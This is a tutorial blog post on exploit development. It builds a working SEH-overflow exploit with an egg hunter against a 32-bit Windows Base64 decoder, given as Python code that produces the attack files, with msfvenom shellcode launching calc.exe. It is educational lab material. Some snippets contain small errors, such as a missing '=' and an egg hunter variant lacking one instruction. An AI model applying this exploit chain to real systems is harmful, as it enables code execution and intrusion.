Evil Robot Club's homepage

Bookmark this to keep an eye on my project updates!

View My GitHub Profile

31 January 2024

Basics of Exploit Development 3: Egg Hunters

by Andy

The Basics of Exploit Development 3: Egg Hunters

Introduction

Hello, if you have read the other articles in this series welcome back, if not I would encourage you to read those before proceeding with this article as this article builds on concepts laid down in the previous installments. In this article we will be covering a surprisingly useful technique in exploit development called Egg Hunters. In order to demonstrate how Egg Hunters function we will be writing an exploit for a 32 bit Windows application vulnerable to a SEH overflow however due to how the application handles input we will be required to use an egg hunter in order to exploit the vulnerability.

Setup

This guide was written to run on a fresh install of Windows 10 Pro (either 32-bit or 64-bit should be fine) and as such you should follow along inside a Windows 10 virtual machine. This vulnerability has also been tested on Windows 7 however the offsets in this article are the ones from the Windows 10 machine and subsequently may differ on your Windows 7 installation. The steps to recreate the exploit however are exactly the same.

We will need a copy of X64dbg which you can download from the official website and a copy of the ERC plugin for X64dbg from here. If you already have a copy of X64dbg and the ERC plugin installed running “ERC –Update” will download and install the latest 32bit and 64 bit plugins for you. As the vulnerable application we will be working with is a 32-bit application you will need to either download the 32-bit version of the plugin binaries or compile the plugin manually. Instructions for installing the plugin can be found on the GitHub page.

If using Windows 7 and X64dbg with the plugin installed and it crashes and exits when starting you may need to install .Net Framework 4.7.2 which can be downloaded here.

Finally, we will need a copy of the vulnerable application (Base64 Decoder 1.1.2) which can be found here. In order to confirm everything is working, start X64dbg and select File -> Open, then navigate to where you installed B64dec.exe and select the executable. Click through the breakpoints and the b64dec GUI interface should pop up. Now in X64dbg’s terminal type:

Command:

ERC –help

You should see the following output:

X64bgd open, running the ERC plugin and attached to b53dec.exe.

What is an Egg Hunter

An Egg Hunter is generally the first stage of a multi stage payload and consists of a piece of code that scans memory for a specific pattern and moves execution to that location. The pattern is a 4 byte string referred to as an egg which the Egg Hunter searches for two instances of where one directly follows the other. As an example if your egg was “EGGS” the Egg Hunter would search for “EGGSEGGS” and move execution to that location.

Egg Hunters are commonly utilized in situations where there is very limited usable memory available to the exploit author. In short Egg Hunters allow for a very small amount of shell code to be used to find a much larger piece of shell code somewhere else in memory.

There are several Egg Hunters available which can be found online (there are even some prewritten ones provided by the ERC plugin) however in this instance we will be writing a very simple Egg Hunter from scratch ourselves so we can get a full understanding of how an Egg Hunter is constructed and executed.

Confirming the Vulnerability Exists

This vulnerability relies on using the SEH overwrite technique discussed in the previous installment of this series so the first thing we are required to do is to crash the program and ensure we are overwriting the SEH handler. So to begin with we will generate a file containing 700 A’s.

f = open("crash-1.txt", "wb")  
	  
buf = b"\x41" * 700  
  
f.write(buf)  
f.close()  

Then open the file and copy the contents and paste them into the search box of the b64dec.exe application and click decode.

Input instructions.

Following the input of the malicious payload the debugger should display a crash condition where the registers will look something like the following.

Program registers after crash.

The crash does not immediately indicate that a vulnerability is present, EBP points into our malicious buffer however ESP appears to have been left as it was. From here we will check the SEH handlers to confirm at least one has been overwritten.

The third SEH handler has been overwritten.

Navigating to the SEH tab we can see that the third SEH handler in the chain has been overwritten with our malicious buffer. If we can point this at a POP, POP, RET instruction set we can continue with exploitation of this vulnerability.

At this point we have confirmed the vulnerability exists and that it appears to be exploitable and as such we can move onto developing an exploit.

Developing the Exploit

So at the present moment we know that the application is vulnerable to an SEH overflow. Initially we should set up our environment so all our output files are generated in an easily accessible place.

Command:

ERC –Config SetWorkingDirectory <C:\Wherever\you\are\working\from>

Now we should set an author so we know who is building the exploit.

Command:

ERC –Config SetAuthor <You>

Now we must identify how far into our buffer the SEH overwrite occurs. For this we will execute the following command in order to generate a pattern using ERC:

Command:

ERC –pattern c 700

Output of ERC –Pattern c 700.

We can now add this into our exploit code either directly from the debugger or from the Pattern_Create_1.txt file in our working directory to give us exploit code that looks something like the following.

f = open("crash-2.txt", "wb")  
	  
buf  = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac"  
buf += b"9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8"  
buf += b"Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A"  
buf += b"i8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al"  
buf += b"7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6"  
buf += b"Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5A"  
buf += b"r6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au"  
buf += b"5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2A"  
  
f.write(buf)  
f.close()

With this if we now generate the crash-2.txt file and copy it’s contents into our vulnerable application we will encounter a crash. We can now run the FindNRP command in order to identify how far through our buffer the SEH record was overwritten.

Command:

ERC –FindNRP

Output of ERC –FindNRP.

The output of the FindNRP command above displays that the SEH register is overwritten after 620 characters in the malicious payload. As such we will now ensure that our tool output is correct by overwriting our SEH register with B’s and C’s. The following exploit code should produce an overwrite of B’s and C’s over the SEH register.

f = open("crash-3.txt", "wb")  
  
buf = b"A" * 620  
buf += b"B" * 4  
buf += b"C" * 4  
buf += b"D" * 100  
  
f.write(buf)  
f.close() 

SEH Overwrite.

As we can see the SEH register is overwritten with B’s and C’s as we expected it would be. Now in order to return us back to our exploit code we will need to find a POP, POP, RET instruction. For a full run down of how an SEH overflow works read the previous article in this series. In order to find a suitable pointer to a POP, POP, RET instruction set we will run the following command.

Command:

ERC –SEH -ASLR -SafeSEH -Rebase -OSDLL -NXCompat

Output of the ERC --SEH command.

As we can from the output above most of the pointers available to us are prefixed with a 0x00 byte which for our previous exploit would have made them unsuitable however here we are going to have to use one.

The reason a 0x00 byte is commonly a problem in exploit development is that 0x00 is a string terminator in the C language which a lot of other languages are built on. Other commonly problematic bytes in exploit development are 0x0A (new line) and 0x0D (carriage return) as they are also commonly interpreted as the end of a string.

This leaves us in a position where we need to incorporate a null byte into our payload. We should now identify if null bytes (and any other bytes) will cause our input string to be cut short or be modified in anyway. A full description on how to do this can be found in the first article of this series however the output of the process can be seen below.

Output of ERC –Compare command.

As can be seen from the output above the instructions that will cause us problems (the omitted ones) are 0x00, 0x0A and 0x0D, shocking! Now we know we can’t put a 0x00 in the middle of our payload as it will cut it short meaning the overflow will never get triggered however we do need one in order to use our POP, POP, RET instructions.

Firstly we will try and put the 0x00 byte at the end of our payload to see if it makes it into memory unmodified. Our exploit code should now look something like this.

f = open("crash-4.txt", "wb")  
  
buf = b"A" * 620  
buf += b"B" * 4 
buf += b"\x86\x1e\x40\x00" #00401e86 <- Pointer to POP, POP, RET  
  
f.write(buf)  
f.close()  

This gives us the following output when we view the SEH chain.

0x00 is modified to 0x20.

As we can see from the SEH chain the null byte is modified to 0x20 so this method will not be suitable. We will need another option. The next logical choice is to remove the byte altogether and see if the string terminator is written into the SEH chain after our buffer.

Our exploit code should now look like the below:

f = open("crash-5.txt", "wb")  
  
buf   b"A" * 620  
buf += b"B" * 4  
buf += b"\x86\x1e\x40" #00401e86  
  
f.write(buf)  
f.close() 

If we input this new string into our vulnerable application and then check the SEH tab we can see that we have now got our null byte into the SEH record.

SEH overwritten with null byte.

Now we can use our POP, POP, RET instruction however we can’t write any data after our pointer to the POP, POP, RET instruction set so we will not be able to just simply do a short jump over the SEH record into our payload like we did in the last exploit. This time we have 4 bytes to work with in the SEH record.

Our best option from here is a short jump backwards. This can be done because the operand of the short jump instruction is in two’s complement format. Which is the way computers use to represent integers. Basically it can be used to describe both positive and negative integers.

Say for example you have the value of 51 in binary:

00110011

And we want to know what 51 negative would be in binary we simply invert the 1’s and 0’s then add 1:

11001101

This allows us to jump back a maximum of 80 bytes using \xEB\x80. So let’s change our SEH overwrite to be the pointer to our POP, POP, RET instruction and see where we land with our jump backwards. Our exploit code should now looks something like this:

f = open("crash-6.txt", "wb")  
  
buf  = b"A" * 620  
buf += b"\xEB\x80\x90\x90"  
buf += b"\x86\x1e\x40" #00401e86  
  
f.write(buf)  
f.close() 

Now when we pass the output into the application we should place a breakpoint at our POP, POP, RET instruction (0x00401E86) and wait to land there. We will have to pass through two exception handlers to get there so be prepared to press F11 twice and then you should be looking at something like the screenshot below.

Landing at POP, POP, RET instruction set.

Now we can single step through this, take our jump backwards and then land back into our buffer of A’s.

Landing in A’s buffer.

Now we have established we can jump back into a buffer we control our exploit is almost complete. The only outstanding issue is that 80 bytes is simply not enough for us to inject most payloads into and as such we will need to use a multi stage payload.

Writing the Egg Hunter

As discussed at the start of this article we will be writing a custom egg hunter for this exercise. I would not recommend using it outside of this exercise as for normal use it is far inferior to other options freely available due to the fact that commonly Egg Hunters will have mechanisms in them to handle errors and will be optimized for speed as exhaustively searching memory can be extremely time consuming. This Egg Hunter does not do those things, It is however simple and easy to understand making it perfect for this situation.

Our Egg Hunter code is going to be this:

egghunter   = b"\x8B\xFD"              # mov edi,ebp                               
egghunter  += b"\xB8\x45\x52\x43\x44"  # mov eax,44435245                          
egghunter  += b"\x47"                  # inc edi                                   
egghunter  += b"\x39\x07"              # cmp dword ptr ds:[edi],eax              
egghunter  += b"\x75\xFB"              # jne 48DFEEB                             
egghunter  += b"\x83\xC7\x04"          # add edi,4                                
egghunter  += b"\x39\x07"              # cmp dword ptr ds:[edi],eax               
egghunter  += b"\x75\xF4"              # jne 48DFEEE                              
egghunter  += b"\xFF\xE7"              # jmp edi                                  

Lets go over these instructions line by line. MOV EDI, EBP: This instruction moves the value of EBP into the EDI register. EBP points to a location near to the start of our payload. Normally an egg hunter would search all memory for our string however due to the simplicity of this one we have had to give it a starting point. MOV EAX, 0x45524344: As discussed at the start of this article Egg Hunters search for a byte string repeated twice. This instruction moves the value of our byte string (0x45524344 or ERCD) into the EAX register. INC EDI: Increments EDI by 1 pointing it to the next address which will be checked for our egg. CMP DWORD PTR DS:[EDI], EAX: Compare the DWORD pointed to by the EDI register to the value held in the EAX register. If the result is true (the values are the same) then the zero flag is set in the EFLAGS register. JNE 0xF7: Jumps backwards 4 bytes to the INC EDI instruction if the zero flag is not set in the EFLAGS registers. ADD EDI, 4: Moves EDI forward by 1 DWORD (4 bytes) after finding the first egg to confirm it is repeated directly afterwards. CMP DWORD PTR DS:[EDI], EAX: Compare the DWORD pointed to by the EDI register to the value held in the EAX register. If the result is true (the values are the same) then the zero flag is set in the EFLAGS register. This is the second check and ensures that the EGG found is repeated. JNE 0xF7: Jumps backwards 8 bytes to the INC EDI instruction if the zero flag is not set in the EFLAGS registers. JMP EDI: If neither of the JNE instructions activated it is because the EGG was found twice in memory directly next to each other and as such a jump is now take to the location where they were found.

The instructions above mean that regardless where our payload is in memory provided a lower address is moved into EDI (we used EBP in this instance but any value lower that the payload starting address will work) execution will be redirected to our payload.

Finishing the Exploit

Now that we have our SEH jumps in place and we have created our Egg Hunter we can run the exploit again and ensure that execution is redirected to the location of our egg. We will replace the A’s our initial padding with 0x90’s and append our egg (“ERCD”) to the start of our payload for the egg hunter to find. Our exploit code should now look something like this:

f = open("crash-7.txt", "wb")  
  
padding = b"ERCDERCD" #Tag the egg hunter will search for  
padding += b"\x90" * 500  
	  
egghunter  = b"\x8B\xFD"                # mov edi,ebp  
egghunter += b"\xB8\x45\x52\x43\x44"    # mov eax,45525344 ERCD                         
egghunter += b"\x47"                    # inc edi                                                                   
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                    
egghunter += b"\x75\xFB"                # jne                               
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                    
egghunter += b"\x75\xF7"                # jne          
egghunter += b"\xFF\xE7"                # jmp edi  
  
buf = padding + egghunter  
buf += b"B" * (620 - len(egghunter + padding))   
buf += b"\x90\x90\xEB\x80"  
buf += b"\x86\x1e\x40" #00401e86  
  
f.write(buf)  
f.close()

When we inject this new payload into our vulnerable application and step through our breakpoints we can see that execution is redirected to our egg.

Landing at the Egg (0x45524344).

Now that we have landed at our egg all we still need to do is generate a payload and add it to our exploit code. I used MSFVenom to generate a payload for this exploit.

Command:

Msfvenom -a x86 -p windows/exec CMD=calc.exe -b ‘\x00\x0A\x0D’ -f python

Now our exploit code should look something like this:

f = open("crash-8.txt", "wb")  
  
padding1   = b"ERCDERCD" #Tag the egg hunter will search for  
padding1  += b"\x90" * 100  
  
# msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x0a\x0d'  
# cmd=calc.exe exitfunc=thread -f python  
payload =  b""  
payload += b"\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"  
payload += b"\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"  
payload += b"\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"  
payload += b"\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"  
payload += b"\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"  
payload += b"\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"  
payload += b"\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"  
payload += b"\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"  
payload += b"\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"  
payload += b"\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"  
payload += b"\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"  
payload += b"\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"  
payload += b"\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"  
payload += b"\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"  
payload += b"\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"  
payload += b"\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"  
payload += b"\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"  
	  
egghunter   = b"\x8B\xFD"                # mov edi,ebp                               
egghunter  += b"\xB8\x45\x52\x43\x44"    # mov eax,44435245                          
egghunter  += b"\x47"                    # inc edi                                   
egghunter  += b"\x39\x07"                # cmp dword ptr ds:[edi],eax              
egghunter  += b"\x75\xFB"                # jne 48DFEEB                             
egghunter  += b"\x83\xC7\x04"            # add edi,4                                
egghunter  += b"\x39\x07"                # cmp dword ptr ds:[edi],eax               
egghunter  += b"\x75\xF4"                # jne 48DFEEE                              
egghunter  += b"\xFF\xE7"                # jmp edi                                  
	  
buf = padding1 + payload   
buf += b"\x90" * (570 - len(padding1 + payload))  
buf += egghunter  
buf += b"\x90" * (620 - len(buf))  
buf += b"\x90\x90\xEB\xBE"  
buf += b"\x86\x1e\x40" #00401e86  
  
f.write(buf)  
f.close()  

And when we pass this string to our vulnerable application we should get the calculator application pop up.

Calculator payload executing successfully.

Conclusion

In this article we have covered how to exploit a 32-bit Windows SEH overflow using the Egg Hunter technique with X64dbg and ERC. Then we generated a payload with MSFVenom and added it to our exploit to demonstrate code execution. A large collection of Egg Hunters and other payloads can be found at www.exploit-db.com and further information on writing Egg Hunters can be found at various locations online.

tags: Windows - Exploit-Development